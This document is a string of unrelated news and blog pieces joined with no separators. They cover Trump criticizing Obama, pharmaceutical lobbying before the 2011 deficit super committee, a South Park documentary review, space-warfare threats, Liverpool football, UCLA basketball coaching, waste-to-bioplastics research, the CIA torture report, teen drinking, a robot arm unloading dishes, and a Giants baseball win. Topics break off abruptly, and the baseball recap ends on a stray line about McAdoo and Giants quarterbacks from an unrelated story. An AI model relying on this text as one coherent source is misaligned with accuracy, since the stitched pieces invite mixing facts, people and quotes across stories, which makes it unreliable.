"We're led by a man who is very -- look, we're led by a man that either is not tough, not smart, or he's got something else in mind. And the something else in mind, you know, people can't believe it," Trump said Monday morning on Fox News' "Fox and Friends."
"People cannot believe, they cannot believe that President Obama is acting the way he acts and he can't even mention the words 'radical Islamic terrorism.' There's something going on. It's inconceivable. There's something going on."
Asked earlier why he had tweeted that Obama should resign because he wouldn't say the phrase "radical Islamic terrorism," Trump said, "He doesn't get it or he gets it better than anybody understands. It's one or the other, and either one is unacceptable."
Later in the day, White House spokesman Josh Earnest told reporters he hasn't spoken with the President about what Trump had said, but he added, "When you are focused on something as big as helping the country respond to the worst mass shooting in our nation's history, when you are focused on something as big as safeguarding the country and combating violent extremism, it's important not to get distracted by things that are so small."
Clouds pass over Capitol Hill in Washington August 1, 2011. REUTERS/Joshua Roberts
Drug makers have begun to emerge as a favorite target for cost-cutting proposals from others in the healthcare sphere who hope to avoid the fiscal knife themselves, lobbyists and analysts say.
The six Democrats and six Republicans who make up the congressional “super committee” tasked with finding at least $1.2 trillion in deficit savings over 10 years are less than six weeks away from their November 23 deadline to designate cuts.
Analysts say any deal could include $300 billion to $500 billion in reductions from Medicare, Medicaid and other federal health programs — a prospect that has thousands of healthcare lobbyists frantic to find ways to minimize damage for drug makers, insurers, hospitals, doctors, state governments, the elderly, the poor and the disabled.
“It’s really sort of a shark tank,” said Matt Salo, executive director of the National Association of State Medicaid Directors.
“You’ve got advocates for providers, advocates for beneficiaries, advocates for states — all looking for ways to minimize harm or get something they want.”
What some healthcare lobbyists want are ways to help super committee members find large savings that don’t affect their own revenues or the benefits available to an estimated 100 million Americans who depend on Medicare and Medicaid.
“Many of the players are pointing a finger at pharmaceuticals,” said Ethan Siegal of the Washington Exchange, a research firm that analyzes public policy for institutional investors and businesses.
Among initiatives aimed at the pharmaceutical industry is a proposal backed by President Barack Obama, Democratic lawmakers and health consumer advocates that would impose drug rebates on Medicare Part D, the program’s prescription drug benefit plan.
$100 BILLION IN ONE FELL SWOOP
The White House estimates that such a move would save $135 billion over 10 years, or about 42 percent of the $320 billion healthcare deficit savings that Obama has proposed to the super committee.
“If you can knock off $100 billion-plus in one fell swoop, it’s a very enticing thing and it’s smart for other groups to point that out,” Siegal said.
Some healthcare providers, including hospitals, also want the super panel to lower Medicare costs by speeding the arrival of cheaper generic drugs on the market.
State governments, hoping to avoid potential cuts in federal spending on Medicaid, are promoting ideas that would restrict the use of prescription drugs in the $420-billion-a-year program.
The powerful Pharmaceutical Research and Manufacturers of America (PhRMA) trade group vehemently rejects the rebate idea as a failed price control. It also defends Medicare Part D as a program with declining costs and points to U.S. government estimates that predict average premiums for the program’s drug benefits will be 44 percent lower than expected in 2012.
Otherwise, industry officials dismiss efforts to shift the cost-cutting burden onto its shoulders.
“We’ve certainly had our share of quivers pointed at us, that’s true. It’s not a new phenomenon,” said PhRMA Senior Vice President Matt Bennett.
Lobbyists say the non-pharmaceutical sector of the healthcare industry may be targeting drug makers because of a 2009 deal brokered in part by Democratic Senator Max Baucus that many say limited the pharmaceutical industry’s exposure to the costs of healthcare reform.
Baucus is now a member of the super committee, a fact that lobbyists say could help deflect some of the deficit-cutting onus away from pharmaceuticals.
On Capitol Hill, healthcare lobbyists outnumber members of Congress by more than 5 to 1, according to the Center for Responsive Politics, a nonpartisan research group.
Data compiled by the center also shows healthcare industry sources have donated more than $1 billion to the campaign coffers of U.S. politicians over the decades and nearly $19 million to members of the super committee.
CIVIL WAR BETWEEN SECTORS?
Lobbyists say the pharmaceutical industry’s relative isolation contrasts with a tenuous alliance of interests between doctors, hospitals and other providers that appears to have muted infighting within their ranks, at least for now.
Representatives from other segments of the healthcare industry are also arguing for a united front in making their case to Congress.
“We all need to work together,” said Alissa Fox, vice president of the Blue Cross/Blue Shield Association. “We’re all concerned about costs and we’ve got to move fast.”
Key to the shared interests among some segments of the healthcare industry is the nexus of income streams that bind many healthcare providers and insurance companies.
“As the industry integrates, it’s hard to find places where cuts don’t come back to haunt you,” said a healthcare lobbyist who represents providers. “Hospitals only hurt themselves by punishing doctors because now many of the doctors work for them, and no one wants to cut insurers because they’re a major income source.”
Providers, including physicians, are especially sensitive to the potential knock-on effects of funding cuts to other areas of the healthcare system after rounds of cuts in Medicaid and Medicare reimbursements.
“You can stone us back to the Stone Age. But I don’t know that anybody’s going to like what’s left in the dust,” said Cindy Moran, a government relations specialist at the American College of Radiology.
Healthcare lobbyists across the spectrum agree that their best outcome would be for the super committee to deadlock. That would trigger automatic spending cuts but would spare Medicaid and amount to relatively moderate reductions in Medicare.
But the current balance of alliances could shift if the panel showed signs of striking a deal. The super committee discussed healthcare issues late last month, surveying proposals from several outside sources, according to lobbyists with contacts on the committee staff.
The season of South Park that wraps up next month marks the show's 15th. That's pretty impressive, but just to keep things in perspective, 60 Minutes is currently in its 43rd season, and while the cast of South Park is more animated than Morley Safer, it's doubtful that Morely and the gang could get away with spreading 14 episodes across six months a "season." Last weekend's season premiere of 60 Minutes actually included a profile of Trey Parker and Matt Stone, maybe because the show felt compelled to show the last remaining fans of the departing Andy Rooney what the competition is like these days in the professional wiseass division. The segment came complete with clips from Cannibal! The Musical, and recognition was paid to the dynamic duo's current status as the Tony-winning auteurs of a smash hit Broadway musical. While it's true that flashing any five seconds of the first season of South Park on the screen immediately makes 1997 feel like a very, very long time ago, the truth remains that Parker and Stone have only taken about 15 years to get to the place it took Mel Brooks more than three decades to reach. (Steve Croft, who anchored the profile, mentioned that discerning Broadway babies regard The Book of Moron as the best new musical in 10 years, and while he didn't specifically say that this means the best new musical since The Producers, I figure it must be either that or Urinetown.)
Croft treated Parker and Stone very respectfully, honored their work with the word "satire," and even laughed at their jokes, while noting in voiceover that the precious few moments of South Park that were included had to be carefully chosen, because so much of the show cannot be included as part of a wholesome network broadcast. It's not his fault… well, not entirely his fault… that the segment left with you the feeling that, while Kroft and his producers find Parker and Stone and their success interesting as a cultural phenomenon, their idea of a hip, "different" stage musical is more along the lines of You're a Good Man, Charlie Brown. Both the 60 Minutes report and Comedy Central's "making of" documentary, which eavesdrops on the team as they spend a work week trying to lash together a new episode, are a tribute to how much respectability 15 years of professional dependability, an Oscar nomination, and some Tonys can ultimately bring you, even if you have BASEketball to live down.
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Neither show mentioned that particular speed bump in our heroes' careers, but the Comedy Central documentary does flash back to the days when cable news channels were reporting on South Park as the unlikely new flavor of the month. None of the footage shown really captures the horrified tone of some of the coverage the show inspired when it was new, at a time when even those reporters and analysts vying for the title of America's Nanny were tired of railing against Beavis And Butt-head. This should be the point where I invoke John Huston's line in Chinatown about how politicians, ugly buildings, and whores all become respectable if they last long enough and observe that Parker and Stone's rising cultural prestige has come along at the same time that their TV show has lost its teeth and become tame and predictable. The only problem with that is that the episode they're brainstorming in the documentary happens to be "HumancentiPad," arguably one of the sickest jokes of Parker and Stone's career to date and inarguably one of the funniest and most creatively unhinged things seen on television this past year. If, as a lot of people seemed to think, Stan's crisis of cynicism in the last couple of episodes was a veiled declaration by Parker and Stone that they're getting too old to keep doing this shit, the message isn't getting through to the finished work.
The Comedy Central program, a rat's nest of interviews, nostalgia trips, and what looks like security-camera footage of Parker and Stone and their strike force team members at work, looks less like a real documentary than a DVD bonus feature that ended up on the air by mistake. That's not to say that it's not without interest. A lot of DVD bonus features are kind of interesting, especially if you happen to be a big fan of the people involved. For one thing, getting to see the magic happen will answer any questions you've ever had about why South Park has the kind of weirdly concentrated production schedule it has. The show seems to be conceived and executed in short, intense bursts of inspiration that grow out of whatever is really nagging the creators on a given day. They are not the kind of guys who can just laugh off having seen a heavily promoted big movie that's so bad it's insulting. It becomes more and more labor-intensive as the week grinds down. It's like watching a vise tighten. One minute, Parker and Stone are hanging out with their producers and writing staff, laughing at their own jokes, and the next, they're staring into the face of an all-nighter, wearing the kinds of expressions usually worn by people steeling themselves before asking if there's been a call from the governor. Not having enough material doesn't seem to be the usual problem. At one point, a stunned-looking Parker mutters, the script is "a minute short, and I have four scenes to write."
To hear them tell it, Parker and Stone's one-week-per-episode work schedule, which would probably kill one or both of them if they tried to turn out many more episodes at a time, is just something that developed and that they've embraced as a good fit for their process. They talk as if they're as puzzled as anyone about where their inspiration comes from and trust to constant pressure to force it to keep coming. There may be something else behind their self-imposed sweatbox regimen, too, maybe a fear that being able to relax and take their time would set them on the road to self-indulgent pretentiousness? "I always feel like," Parker tells the camera, "wow, I wish I had another day with this show. That's why there's so many episodes that we've been able to get done, because there is a deadline and you can't keep going. Because there's so many times that I'd say, no, it's not ready yet, it's not ready yet. And I'd have spent four weeks on one show. All you do is start second-guessing yourself and rewriting stuff, and it's over-thought. And it would have been 5 percent better." Parker and Stone have always acknowledged the influence that Terry Gilliam's animation for Monty Python had on them. Do they see some of the bloated, undisciplined work Gilliam has done as a film director, on those occasions when he's been allowed to lose control of both his budgets and his filming schedules, as a cautionary example?
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Those of us who've spent the past few days seeing Steve Jobs, over and over, exhorting people to make the best use of their time on Earth by doing what they love, can see Parker and Stone as both inspiring and cautionary examples themselves. During their week in the salt mines, they dress like 40-year-old undergrads, and eat like them, too. (Asked what the McDonald's food he's wolfing down does for his creativity, Parker says, nothing; it just "makes me happy, for five minutes.") As they stress out and cocoon in their offices and forget what combs are for, you realize how much they must love what they're doing, because nobody would do this just for the money, so long as they already had carfare back home. It was probably statistically inevitable that two guys who graduated college in the early '90s would find a way to become rich and famous while recreating the environment of an all-night, junk food-fueled snark session. All in all, it was probably the right two guys.
Stray observations:
Producer Vernon Chatman: "They've said 'fuck you' to every celebrity, pretty much. Which they were doing before the show, too. They would fart on celebrities at parties. Now they do it on the air, and the celebrity smells it." For a follow-up, we go to visiting kibitzer Bill Hader, explaining the difference between South Park's and Saturday Night Live's respective attitudes towards the famous: "SNL is like, we might want this person to host…"
What is it like for a woman sitting in on the writing sessions? "I've learned that men, they really, super… they dig poo."
Executive producer Anne Garefino, on the phone to Standards and Practices: "When they shit into each other's mouths, we're not going to see feces in the iterration that I've seen so far, but I don't know what's going to happen at the end. We haven't written the end yet. Maybe. Yes, we see them being sewn together. Yeah. Thanks, happy Easter to you, too."
The rise of the internet & social media as heavily presentational media (that is, they focus explicitly on face value) gives end users another opportunity to craft a mask. I say another opportunity; people already do this. Do you speak to your parents the same way you speak to your friends? Thought not. The self is innately and infinitely permutable, and by extension, allows the individual to express themselves as they truly are, if only in certain combinations.
So when it comes to developing an online presence, is there such a thing as a persona that links too much with one’s actual self? Online personae are inherently performative and publicised, particularly when concerning platforms that are also performative, such as YouTube.
Consider Funhaus, for example: the Los Angeles branch of Rooster Teeth’s Let’s Play family has made a reputation for itself by having, in the majority of its content at least, a most crass sense of humour. To achieve this, the cast members often play hyper-realised versions of themselves on camera; happy-go-lucky, constantly referencing old Nickelodeon game shows, and in the case of Lawrence Sonntag, constant fury.
But these are only on-camera personas, and in a lot of cases are only developed as a result of heavy editing. The latest episode of Funhaus’ Dude Soup podcast discusses this, addressing the fact that though some audience members may live vicariously through watching the channel’s content, in reality they’re quite radically different, normal people; Lawrence, for example, changes from an angry computer nerd to a well-spoken, kind computer nerd. James & Elyse Willems curate a presence on their Instagram accounts that focuses on fitness (and in James’ case, pictures of feet), whilst on-camera there’s…just awful banter between the two (although it is still funny, I daren’t repeat it here.)
So is an online persona a reflection of the true self? Yes, but only a part of the true self, deliberately curated to appeal to a certain audience.
The nightmare scenario could begin with a massive cyberattack that could disable satellites and ultimately cut off communication networks for millions of Americans, according to an hour-long documentary, “War in Space: The Next Battlefield,” slated to air Tuesday on CNN.
“As humans go out there, there has always been conflict,” Gen. John Hyten, head of US Strategic Command, told CNN. “Conflict in the Wild West as we move in the West … conflict in Europe for its horrible world wars. So, every time humans actually physically move into that, there’s conflict, and in that case, we’ll have to be prepared for that.”
Hyten is one of more than 10 high-ranking national security and military personnel interviewed by CNN chief national security correspondent Jim Sciutto for the documentary, including the entire US chain of command for space warfare and the former head of Air Force Space Command — who says the United States isn’t prepared to respond to the new threats.
Russia and China are America’s chief adversaries in the final frontier, where Russia has already deployed what could be kamikaze satellites called “Kosmos 2499,” designed to approach US satellites and destroy them if necessary. CNN reported that China has also already launched “Shiyan” satellites, which are equipped with a grappling arm that could pluck satellites directly from their orbit. The Shiyan-7 satellite was among a set of “three mysterious” satellites launched by China in 2013, Space.com reported.
Hyten told CNN that the technology is among a new generation of weaponry that will soon be able to threaten US satellites in all orbital regimes, including just 100 miles up in near Earth orbit — home to the International Space Station — and geostationary orbit, which starts about 22,000 miles above sea level.
“We have very good surveillance and intelligence capabilities, so we can see the threats that are being built,” he said. “So we’re developing capabilities to defend ourselves. It’s really that simple.”
Created in 1982, the US Space Command has about 38,000 employees, with an annual budget of nearly $8.9 billion. The Pentagon’s broader budget for space operations is $22 billion, CNN reports.
Deputy Defense Secretary Robert Work warned in April 2015 that the US military was ill-prepared for a conflict that “extends into space.” Five months later, Work’s prediction was proved right when US space officials were caught off guard during a simulated space battle on military satellites.
CNN reported that the US is now quietly developing advanced weapons that could potentially have defensive or offensive missions in space, including the US Navy’s Laser Weapons System and a pilotless space drone called the X-37b.
But Peter Singer, a Defense Department adviser on space threats and author of “Ghost Fleet: A Novel of the Next World War,” told CNN that the war in space is one that the United States could possibly lose.
“We’d be silly to say it’s not a possibility,” Singer said. “What any defense [planner] will tell you is, don’t look for the ideal outcome, plan for the worst day so that you can survive.”
Gen. William Shelton, former head of US Space Command, said flatly that the US is not responding quickly enough to evolving threats in outer space.
“Could we provide active defense of our own satellites? The answer’s no,” Shelton told CNN.
NASA officials, meanwhile, said in a statement to The Post that the civilian space agency is dedicated to the “peaceful exploration” of space.
Dejan Lovren is eyeing up a consistent run in the Liverpool side – regardless of whether he’ll face fresh competition from Virgil van Dijk this season.
The Croatian started just 29 league games in a campaign interrupted through illness and injury as the Reds struggled to establish a solid centre-back partnership.
Some of Liverpool’s defensive woes saw Jurgen Klopp turn to Virgil van Dijk this summer, although that interest publicly ended with the club apologising to Southampton.
But amidst suggestions a deal for the Dutchman could be resurrected, Lovren is focusing on staying fit and improving this year – irrespective of who might join him at Anfield.
Asked about van Dijk, he said: “I can’t talk about that. I am just concentrating on Liverpool and my fitness. I think the biggest thing is to improve my fitness.
“It is pre-season but the most important thing is to be free of injuries. I want to be 100%.
“I just need some consistency. Last season something happened like an injury or illness and then it was two steps back and I needed a good run to be back in shape so I am preparing myself as best I can.
“I have said many times I am very proud Liverpool believe in me and they have given me a chance to work here. It is a pleasure to be with such a talented squad.”
Lovren made his return to the Liverpool side against Wigan on Friday night, featuring for 45 minutes in the 1-1 draw.
The game was most notable for the debut of Mohamed Salah, with the Egyptian opening his account for his new club.
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And the Reds centre-back couldn’t help but be impressed with what he’s seen from both Salah and fellow new signing Dominic Solanke.
“Mane had his injury and we missed him,” he added.
“We saw (Salah on Friday) and we will see more of his qualities. He needs more time as he’s only had six days with us and everything is completely new (but) I think he will be perfect in this system.
“I think they (Salah and Solanke) have their qualities and Jurgen knows what he needs and what the team needs to improve.
“I think he made a good choice. These guys work really hard on the pitch and in training so it is always good to welcome such players like these.
And I understand the nature of this beast. It’s a business of immediate criticisms with many anonymous critics free to spout whatever they wish from behind the security of a screen name. Also a lot of very public critics.
But I suppose what I find so interesting about this now vitriolic UCLA fan base – now encouraging their former coach to not let the door hit him on the way out – has been their insistence on replacing “Coach.” To ensure that there is a head figure to carry forth the program of Coach, with the principles of the pyramid bound to their mind and inscribed across his heart.
Ben Howland is a helluva basketball coach. Somewhere along the line he lost his way as the elite guy he swiftly proved himself to be; but, as evident by this season’s Pac-12 championship, he didn’t stray too far from what exactly he is: a terrific basketball coach.As it unfortunately were, he did not have the energy to carry the torch of the past; to embody the man (Wooden) whom he is not, was not, and will not be. An exhausting task to compete with the ghosts of the past.
But as I said, there is a beast to this industry and so, when expectations realistic or otherwise are not met, the beast rears its ugly head and axes are swung.
I’m not trying to make an argument here for keeping Ben Howland. It’s become clear that he is not the right man, right now, to be the lead at UCLA. His time had run its course. There was little enthusiasm in Westwood and Howland seemed to be doing very little to instill excitement in the program surrounding his on-court product. It would appear that both parties are best suited with a fresh start.
Which might be exactly what the UCLA program needs: A fresh start. And I’m not talking about simply a new coach. John Wooden will never be replaced. He can and should be respected and remembered are revered but no man will be successful in any venture mimicking another. The Bruins are about to acquire a very good coach. A man with an impressive resume and the utmost respect for the job he’s inheriting. But for him to be successful, for him to truly uphold the principles of “Coach’s Program,” he will have to be his own man. Whatever that is, he will adhere to his own principles and succeed by his own strengths. He will win because, in his own right, is good.
Ben Howland will take a season or so off and find his way into a new position somewhere and likely be very successful there. He’ll find little appreciation for his ten seasons in Westwood (the longest tenure since Wooden) but he should sleep well at night knowing he’s good at what he does: Coach basketball.
May his next venture allow him to do such.
The project team has found that mixtures of bacterial species may enhance efficiencies of conversion. Such bioplastic compounds, might have multiple applications, from the bioplastic used in medical prosthesis, to applications in packaging. The project may, in the future, not only benefit management of terrestrial wastes but also reduce the harmful environmental impact of petroleum-based plastics. “More than 25 million tons of plastics are disposed of annually in EU landfills or directly into the environment, posing a huge environmental burden due to their recalcitrance towards degradation,” says José Luis García López, professor of environmental biotechnology at the Biological Research Centre (CIB), in Madrid, Spain, who is also the project coordinator.
Complex waste raw materials, such as municipal and chemical waste, contain a lot of reusable carbon that bacteria can digest and transform into biopolymers. This is the starting point of the project. The process under development follows three steps. After compression, the waste is first pyrolysed before being gasified to produce syngas, a synthetic fuel gas. Syngas is used to derive carbon monoxide or dioxide, and hydrogen.
One of the big challenges is to develop the best technology to obtain such gases from waste. The project team has worked on different reactors for gasification. For now, the most efficient solution is a novel microwave pyrolytic waste treatment reactor. In parallel, the treatment is coupled to fermentation techniques, using recombinant bacteria to produce bioplastic compounds. At this stage, researchers are testing the efficiency of different microorganisms. Some of them are better with hydrogen, others with carbon monoxide. But they are all able to transform the residual gas into a biopolymer. Now, researchers are looking to determine which bacteria are more efficient and are also testing mixtures of different species.
Some experts outline the challenges ahead. "The crucial question is if the high-energy inputs of gasification of biomass wastes are suitable and if the gasification process will technically work for the aimed feedstocks,” says Achim Raschka, head of technology at the bio-based chemistry and industrial biotechnology department of the Nova Institute, a private biotech and chemistry research center in Cologne, Germany. “These questions will be addressed via an economical and ecological analysis of the whole process in the project.”
Other experts still see the benefits of the approach. “It is a positive approach to get more out of organic fractions containing waste streams instead of incineration or landfilling,” says Felicitas Schneider, engineer and researcher at Institute of Waste Management at BOKU-University of Natural Resources and Life Sciences, in Vienna. Schneider concludes: “With respect to the [life cycle assessment] performance of bioplastics, this would have a positive impact on the production phase as if waste streams are used, no extra production of plants has to be taken into account.”
It is still early days for the bioplastics sector. “Now, we are a very small industry, we have to grow”, says Krysty-Barbara Lange, spokesperson for the European Bioplastics Association in Berlin, Germany, which gathers members of all industry sectors. Nowadays, food crops are the main source for first generation biopolymers. Second generation biopolymers are derived from other biomass resources such as wood or other plants. “We just grow a 0.01% of the global agriculture industry, but we need more options, and the Synpol project sounds very promising as a driver for a third generation of biopolymers,” Lange tells youris.com. But there are still significant challenges ahead to make this approach economically feasible and environmentally sustainable, considers Lange.
Washington promised that, after years of stonewalling by the CIA and White House transcending both of the major political parties, we would finally learn some glimmers of truth when the Senate released a heavily redacted summary of its historic 6,000-page report on CIA torture crimes.
The timing could not be more poignant. The report was released on the eve of Human Rights Day, and in the wake of an ongoing, diverse, and energetic national grassroots movement for police accountability.
Parallels between CIA torture and police murders in New York, Ferguson, Cleveland, and elsewhere may be easy to overlook. Unfortunately, both sets of abuses reflect similar patterns: severe crimes committed by powerful people, officially endorsed cover-ups, and formal legal impunity that compounds the original crimes.
This week, on Human Rights Day, people in a dozen U.S. cities will take action to connect these abuses. We insist on nothing more than justice for all, including public servants.
A problem with many faces
CIA torturers and police officers who murder innocent unarmed Americans share one thing in common: impunity for violent crimes that violate global human rights commitments. The impunity they share reveals systems of separate — and unequal — justice across the United States.
Communities responding to impunity for police murders in Ferguson, New York City, and elsewhere across the country seek goals including federal laws to end racial profiling. Incidentally, body cameras are not a solution. They will neither ensure accountability for discrete cases — remember Eric Garner? — nor will they offer even transparency for abusive patterns & practices.
At root, we seek accountability for the arbitrary use of force.
Police violence in our communities is one example. CIA torture, or the Agency’s documented assassination of U.S. citizens (even their children) without trial, is another.
The Senate’s report revealed previously secret details about human rights abuses committed in our names — and with our resources — vastly beyond the little known to this point.
Crimes, whoever commits them
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It confirmed, for example, that CIA personnel violated even the illegally permissive limits contrived by the Bush-era Justice Department to enable torture. In other words, the report confirmed that CIA officials broke the law. That’s why it was secret so long.
The illegality of torture is obvious to anyone who recalls the Second World War, when our nation waged a sustained global struggle before sending a Supreme Court Justice to establish the legal precedent that torture is a crime: full stop, with no exceptions.
But the only CIA official to ever face justice related to torture, John Kiriakou, was one who tried to blow the whistle.
Acts of torture are real crimes with actual victims, including U.S. service members who died at the hands of militants inspired by torture to take up arms against the United States. Police murders are also real crimes with actual victims, including surviving families who visited Washington recently to plead for justice.
Failing to indict murderers because they wear a badge is no different than covering up details of torture by government secret agents. In both cases, our system turns a blind eye to crimes by officials — even violent crimes that offend our species’ most fundamental commitments.
Justice in America: Protecting the powerful
In both St. Louis and New York, grand juries swayed by prosecutors masquerading as defense attorneys failed to even indict killer cops — including one caught on videotape, suggesting that proposals for body cameras are a red herring.
Similarly, the CIA’s ongoing history of lies, destruction of evidence, and even espionage against the people’s representatives has allowed grave crimes to go unpunished.
Despite their explicitness, legal prohibitions on torture, or police murdering innocents (or for that matter, our rights once guaranteed under the First and Fourth Amendments to the U.S. Constitution) have been reduced in reality to mere legal formalisms ignored in practice.
Over the past few weeks, I’ve helped peacefully seize shopping malls in St. Louis, occupy Union Station in Washington, DC, and block highways and major intersections because, as a lawyer, I swore an oath to “support the Constitution and laws of the United States.” Senators also swear a similar oath, but violate it every time they decide to “look forwards, not backwards” to ignore official crimes.
I also helped deliver a quarter million petitions to retiring Senator Mark Udall (D-CO), whose seat on the Intelligence Committee has given him a chance to read the secret report and grow outraged by its findings.
Nearly half of American teen drinkers would rather have a shot of liquor than a bottle of beer, a new study finds. The golden brew and malt beverages only come a distant second and third, and wine barely registers on the radar. Teens who prefer liquor are much more likely to indulge in high-risk behavior, like binge drinking, drinking and driving, smoking tobacco or marijuana and having multiple sexual partners, researchers also found.
The study, which covered 7,723 teens ages 12 to 18 in eight states, uses data from the 2007 Youth Risk Behavior Survey. Researchers found that boys were more likely to prefer liquor and beer than girls, and that teens “graduate” to liquor and beer from malt beverages — such as Smirnoff Ice, Bacardi Silver or Hard Lemonade — and wine coolers as they get older. African-Americans and Hispanic teens preferred malt beverages to beer, but not to liquor.
“The number of liquor advertisements on TV has increased dramatically,” said lead study author, Michael Siegel, M.D., of the Boston University School of Public Health. “So it’s not surprising that liquor has become very popular among underage drinkers and surpasses beer as the alcoholic beverage of choice.”
The study appears online and in the April 2011 issue of the American Journal of Preventive Medicine.
Siegel said he does not believe that the type of alcohol teens consume affects their health directly. However, indirectly, the drinking patterns associated with the different types do have a strong influence.
“The study results suggest that youth might initiate drinking with sweeter, more-flavored alcoholic beverages like malt beverages and wine coolers, and that they progress toward harder alcoholic drinks, like beer and hard liquor — and the high-risk behavior,” he said.
“Any time MADD sees a study showing the prevalence of teen drinking, we are concerned about the health and safety of America’s youth and the harmful effects on their decision-making ability,” said Laura Dean-Mooney, national president of Mother Against Drunk Driving (MADD). The group reports that underage drinking kills 6,000 people in the United States each year.
A solution could lie in the way alcohol is marketed to teens. Wine, for instance, is not advertised heavily in teen-oriented media and does not appear to be part of their partying and drinking scene, all factors that might contribute to its lack of popularity. Siegel said that restricting advertising for malt beverages and wine coolers in youth-oriented media could have a dramatic effect on overall youth drinking.
“The association between drinking hard liquor and increased risky behaviors is not surprising,” said Pat Paluzzi, head of the Healthy Teen Network. “It is often the same group of youth who engage in multiple risky behaviors, and this relationship is especially true for drinking and unsafe sexual practices. If this study leads to more effective prevention and intervention measures, the impact could go beyond what these authors note.”
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For the first time since 2002, an American was selected to officiate at a World Cup. That American was New Jersey’s own Mark Geiger.
Geiger, a former math instructor at Lacy Township High School, was one of 25 elite referees from around the globe chosen by FIFA to officiate at the World Cup. Through two games, Geiger has shown why he belongs in the category of top officials in the world.
A nationally recognized high school math teacher, Geiger was given Presidential Award for Excellence in Math and Science in 2009. However, Geiger had to leave his teaching position last year in order to pursue his dream of officiating in the World Cup.
The official has spent 11 season in MLS and also officiated at the 2012 Olympics.
Geiger and his crew were first put to the test in the Group C opener between Colombia and Greece. After earning praise from pundits and FIFA officials, they were rewarded with a game of greater magnitude: a must-win game for Spain, the 2010 World Cup champions, against Chile.
Let's get down to the Knitty kitty.
Some people say cats hate other cats, but man, it seems like all the cats love my cat Knitty. Whenever they see him, they run right over and start playing with him and rolling around and having a grand old time. Sure, I have to do some repairs on Knitty when they leave, but it's worth it to see the joy in eyes at making new friends.
The funny thing is, Knitty isn't even as popular as my other cat, Laser. All the cats want to make friends with Laser, but he gets scared and runs away. It's really sad seeing how Laser shuts himself off to the world. I hope one day he'll open his eyes and see all the friendship he's missing out on.
Of course, Knitty and Laser don't even come close to the cat I had when I was a kid. His name was Nip and he lived out doors, and ALL the neighborhood cats loved to come visit him. They would lick him and rub all over him and do all sorts of weird stuff. When Nip died, we had him cremated and we spread his cremains over the back yard. A bunch of cats showed up for the ceremony, and paid their condolences by rolling around in his ashes. It was really beautiful.
New research has imbued a robot arm with a special skill: the ability to offer a helping hand doing the dishes.
The researchers used body tracking technology to teach robots how to pay attention to and react to a human’s body movements when working together around the house.
This has been a big problem for scientists trying to develop robots that will collaborate with humans — they have trouble adapting to our personal style. “We want robots to follow our lead, or at least plan their actions with an awareness of ours,” Bilge Mutlu, of University of Wisconsin-Madison told MIT Technology Review.
Mutlu and collaborators from the University of Madison-Wisconsin and the University of Washington published the study in Robotics Science and Systems Online Proceedings.
If you’re unloading a dishwasher with another person, you will speed up or slow down how quickly you hand off each dish according to your partner’s readiness. Robots helping with such a task should learn that same awareness, so as to avoid smacking you with a plate while your back is turned.
To teach the robot, researchers recorded a pair of volunteers unloading dishes in different ways. A Microsoft Kinect documented the movements of volunteer’s body joints. The program then “watched” this interaction, taking note of the thousands of joint readings from the Kinect and training them into an algorithm.
University of Wisconsin-Madison Two volunteers are recorded while they unload a dishwasher.
The team then analysed the movements of eight teams and found that the “giver” handing the dishes off to the “receiver” monitored and adapted to the “receiver’s” pace by either pausing or slowing down their speed until their partner was ready.
They trained a Kinova Mico robot arm with their program and put it to the test in the same scenario, shown below. The robot’s algorithm was able to predict when the “receiver” was ready for a dish about 90% of the time, according to MIT Technology Review, by tracking the partner’s movements in real time and adjusting its speed accordingly.
Human-Computer Interaction Laboratory, University of Wisconsin-Madison A man teams up with a robotic arm to unload a dishwasher.
While the idea of an intuitive, learning robot sounds extremely useful, the researchers note that this success only applies to this one task of unloading dishes. In the future, as reported by MIT Technology Review, they hope to apply it to other more useful chores such as unloading groceries, handing off tools, or guiding someone through a physical therapy session.
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Hunter Pence (left) and Brandon Belt greet Austin Slater after his three-run homer in the Giants 6-3 win over the Braves. Hunter Pence (left) and Brandon Belt greet Austin Slater after his three-run homer in the Giants 6-3 win over the Braves. Photo: Kevin C. Cox, Getty Images Photo: Kevin C. Cox, Getty Images Image 1 of / 8 Caption Close Giants beat Braves; not a misprint 1 / 8 Back to Gallery
ATLANTA — Hunter Pence hit a ball, and the third baseman dropped it. Brandon Belt hit a ball, and the second baseman threw it to the shortstop, who dropped it.
Desperate for any break an opponent gives them, the Giants capitalized Tuesday night and enjoyed a feeling they haven’t had in nine days.
After the two misplays, Austin Slater hit a three-run home run to erase a two-run deficit, and the Giants beat the Braves 6-3 on Tuesday night, their first win since June 11.
End of a seven-game losing streak? Stop the presses. A high-five line after the final pitch? Say it ain’t so. Clubhouse merriment? It’s about time.
“We got a couple of breaks with the ground attack, and Slater bailed us out,” manager Bruce Bochy said. “It’s a big win. When you get in a rut like we’ve been in, this is big for the boys, for their psyche and morale.”
Matt Moore earned his first win since May 13 and Mark Melancon his first save since May 27. Both could thank Slater for putting them in advantageous positions with his eighth-inning homer, which turned the momentum and ignited a five-run rally.
Slater homered down the right-field line against Julio Teheran, who baffled the Giants most of the night, and is hitting .340 and manning left field until further notice.
“Obviously, he shows a lot of trust in me so far,” Slater said of Bochy. “I’m trying to show him I can take that job and run with it.”
Two of the Giants’ runs were unearned as the Braves’ defense collapsed in the eighth, making three errors. The rally began when Johan Camargo failed to field a grounder by Pence, who got a hit. Brandon Belt hit a possible double-play ball to second baseman Brandon Phillips, whose throw to shortstop Dansby Swanson was dropped.
At first, it was ruled an out, but the play was reviewed and the call overturned.
“It was nice to see one of those calls go our way,” said Slater, who followed with his second career homer. “It feels like when you’re on a streak like we were, dinkers fall and calls don’t go your way. It was good to get out of that rut.”
Belt knows all about how bad breaks can burn a guy. In Monday’s opener, he was robbed by the Braves on two diving catches and seemingly again by an umpire calling him out at second for not being on the bag after sliding in with an apparent double.
Tuesday, the breaks went the Giants’ way. In the ninth, Belt tried to bunt on a 2-0 count and fouled it off. Then, he hit his team-leading 12th homer.
It was an insurance run for Melancon, who converted an uneventful save situation — three groundball outs — two days after his meltdown in Denver, when he gave up Nolan Arenado’s game-ending homer that completed a cycle.
For Moore, who pitched one batter into the eighth inning, it was his first road win since Sept. 11. He had gone 0-5 with a 10.42 ERA in nine road starts since then.
Before the game, Giants players had a quick meeting, and laughter was heard from a distance.
“What’s amazing is, the clubhouse before the game, it was loose,” Bochy said. “They were still having fun, trying to keep each other loose doing some things. You could hear them laughing.”
McAdoo also said that “ideally” the Giants will be able to get snaps for all four of their quarterbacks.
